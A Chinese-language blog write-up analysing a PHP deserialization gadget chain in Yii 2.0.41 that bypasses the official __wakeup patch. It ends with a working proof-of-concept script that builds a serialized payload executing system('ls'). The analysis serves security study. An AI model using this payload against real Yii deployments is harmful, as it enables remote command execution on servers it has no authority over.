前言
既然前面分析了Yii2.0.32,就顺便分析一下新版本Yii 2.0.41的POP链, 学习一下官方的补丁以及补丁的不足。
配置环境
下载Yii 2.0.41

在config/web.php里配置cookieValidationKey,否则会报错。

SiteController中加入反序列化点,通过r=site%2Ftest来触发。

利用条件
yii2 version <= 2.0.41
利用链
vendor/codeception/codeception/ext/RunProcess.php::__destruct()
vendor/fakerphp/faker/src/Faker/ValidGenerator.php::__call()
vendor/fakerphp/faker/src/Faker/DefaultGenerator.php::__call()
补丁
可以看到官方的补丁加了个__wakeup方法,在反序列化时触发该方法。

官方也在这里加了个__wakeup方法,相当于上一条链已经用不了了,但可以在其它地方找到差不多的POP链。

构造利用链
旧的不去新的不来,找到新的__destruct()方法来触发, 该方法位于vendor/codeception/codeception/ext/RunProcess.php, 并且该类中没有__wakeup()。

可以看到__destruct调用了$this->stopProcess()。 进入$this->stopProcess()方法后,这里在if中调用了$process->isRunning()。 而$process来源于foreach迭代器中的$this->processes,$this->processes可控, 我们就可以来触发__call方法啦。

全局找一下没有__wakeup()方法且含有__call()方法的类来触发, 找到vendor/fakerphp/faker/src/Faker/ValidGenerator.php

看到这个call_user_func_array()跟call_user_func()就知道一切都好起来了, 跟上一条链一样。不过需要控制$this->validator跟$res才行,$this->validator这个参数可控, 而$res需要利用call_user_func_array([$this->generator, $name], $arguments)回调一个可以控制返回值的__call方法。

再次全局搜索一个__call()方法来利用,这里用的是vendor/fakerphp/faker/src/Faker/DefaultGenerator.php

看一下该类中的__call方法,返回值$this->default可控。

这里if条件必须为false,一旦为true进去if里面就被throw抛出程序外了,所以控制$this->maxRetries为大于1的数。 接着,进去while条件执行call_user_func($this->validator, $res),$this->validator可控,即可命令执行。

POC
<?php
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess
{
private $processes = [];
public function __construct()
{
$this->processes[] = new ValidGenerator();
}
}
$pwn = new RunProcess();
echo base64_encode(serialize($pwn));
namespace Faker;
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct()
{
$this->generator = new DefaultGenerator();
$this->validator = "system";
$this->maxRetries=17;
}
public function __call($name, $arguments)
{
}
}
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = 'ls';
}
public function __call($method, $attributes)
{
}
}
There Is Nothing Below
